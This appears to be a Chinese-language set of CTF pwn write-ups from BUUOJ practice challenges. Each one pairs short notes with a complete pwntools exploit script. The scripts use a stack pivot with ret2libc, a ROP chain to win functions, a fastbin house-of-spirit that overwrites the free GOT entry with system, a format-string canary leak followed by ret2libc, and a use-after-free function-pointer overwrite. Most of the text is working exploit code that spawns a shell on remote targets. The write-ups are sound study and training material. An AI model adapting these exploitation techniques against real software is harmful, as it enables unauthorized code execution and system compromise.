溢出8字节, 栈迁移, bss段写入ROP, 泄露libc, ret2libc
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27358
filename = "./spwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
context.log_level="debug"
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
leave_ret_addr = 0x08048511
s_addr = 0x0804A300
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]
payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload2 = cyclic(0x18) + p32(s_addr - 4) + p32(leave_ret_addr)
io.sendafter("name?", payload1)
io.sendafter("say?", payload2)
write_addr = u32(io.recv(4))
log.info("write address: %#x" % write_addr)
system_libc = 0x03a940
write_libc = 0x0d43c0
binsh_libc = 0x15902b
# libc = LibcSearcher("write", write_addr)
libc_base = write_addr - write_libc # libc.dump("write")
system_addr = libc_base + system_libc # libc.dump("system")
binsh_addr = libc_base + binsh_libc # libc.dump("str_bin_sh")
payload1 = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
payload2 = cyclic(0x18) + p32(s_addr - 4) + p32(leave_ret_addr)
io.sendafter("name?", payload1)
io.sendafter("say?", payload2)
if __name__ == "__main__":
pwn()
io.interactive()
坑点
记得交互时用send, 不要用sendline, 这里仅能溢出8字节, 超过一字节就报错了
还有就是libcsearcher的库不全, 依然折磨, 后面还是改手动查库了
win1 == win2 == 1且a1 == 0xDEADBAAD
from pwn import *
url, port = "node4.buuoj.cn", 28116
filename = "./PicoCTF_2018_rop_chain"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
win1_vul_addr = elf.sym["win_function1"]
win2_vul_addr = elf.sym["win_function2"]
flag_addr = elf.sym["flag"]
payload = cyclic(0x18 + 4) + p32(win1_vul_addr) + p32(win2_vul_addr) + p32(flag_addr)
payload += p32(0xBAAAAAAD) + p32(0xDEADBAAD)
io.sendafter("input> ", payload)
if __name__ == "__main__":
pwn()
io.interactive()
[ZJCTF 2019]EasyHeap
这个题远程指定目录下是没有flag文件的, 必须get shell
两种打法
(1) unsorted bin - unlink
(2) fastbin - house of spirit
这里采用(2)
为了修改heaparray, 需要在heaparray附近寻找fake chunk的size位
所以从0x6020ad开始可以提取出一个0x7f的chunk, 在fastbin中也就是0x70大小, 这个fake chunk就可以控制到heaparray的内容, 修改heaparray指针就能获得任意地址写的能力, 没开full relro, 直接劫持got表的free到system, free("/bin/sh")就能get shell
from pwn import *
url, port = "node4.buuoj.cn", 26859
filename = "./easyheap"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(size,content):
io.recvuntil("Your choice :")
io.sendline(str(1))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(content)
io.recvuntil("SuccessFul")
def delete(index):
io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(index))
def edit(index,size,content):
io.recvuntil("Your choice :")
io.sendline(str(2))
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.sendline(content)
io.recvuntil("Done !")
def pwn():
free_got = elf.got["free"]
system_addr = 0x400C2C
add(0x60, "chunk0")
add(0x60, "chunk1")
add(0x60, "chunk2")
add(0x10, b"/bin/shx00") # chunk3
delete(2)
payload = cyclic(0x60) + p64(0) + p64(0x71) + p64(0x6020B0 - 3) + p64(0)
edit(1, 0x80, payload)
add(0x60, "chunk2")
payload = cyclic(0x23) + p64(free_got)
add(0x60, payload)
edit(0, 0x8, p64(system_addr))
delete(3)
if __name__ == "__main__":
pwn()
io.interactive()
小结
unlink打法更具有一般性, 对于多个版本的libc都适用, 但是house of spirit只能在2.23版本下打通
bjdctf_2020_babyrop2格式化漏洞, 泄露canary, 然后栈溢出泄露libc, ret2libc
尝试出偏移量, format偏移是6, 所以canary偏移是7, 用%7$p泄露canary
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 28025
filename = "./bjdctf_2020_babyrop2"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln_addr = elf.sym["vuln"]
pop_rdi_addr = 0x0000000000400993
io.sendlineafter("help u!n", "%7$p")
io.recvuntil("0x")
canary = int(io.recv(16), 16)
payload = cyclic(0x18) + p64(canary) + cyclic(8) + p64(pop_rdi_addr)
payload += p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
io.sendlineafter("story!n", payload)
puts_addr = u64(io.recv(6).ljust(8, b"x00"))
log.info("puts address: %#x" % puts_addr)
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x18) + p64(canary) + cyclic(8) + p64(pop_rdi_addr)
payload += p64(binsh_addr) + p64(system_addr) + p64(vuln_addr)
io.sendlineafter("story!n", payload)
if __name__ == "__main__":
pwn()
io.interactive()
hitcontraining_uaf
UAF, 修改print函数指针到system
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 25563
filename = "./hacknote"
elf = ELF(filename)
# libc = ELF("./libc_32.so.6")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
# context.log_level="debug"
debug = 0
if debug:
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def addnote(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def delnote(idx):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def printnote(idx):
io.sendlineafter(":", "3")
io.sendlineafter("Index :", str(idx))
def pwn():
magic_addr = elf.sym["magic"]
addnote(0x30, "chunk0")
addnote(0x30, "chunk1")
delnote(0)
delnote(1)
# BK()
addnote(0x8, p32(magic_addr))
printnote(0)
if __name__ == "__main__":
pwn()
io.interactive()



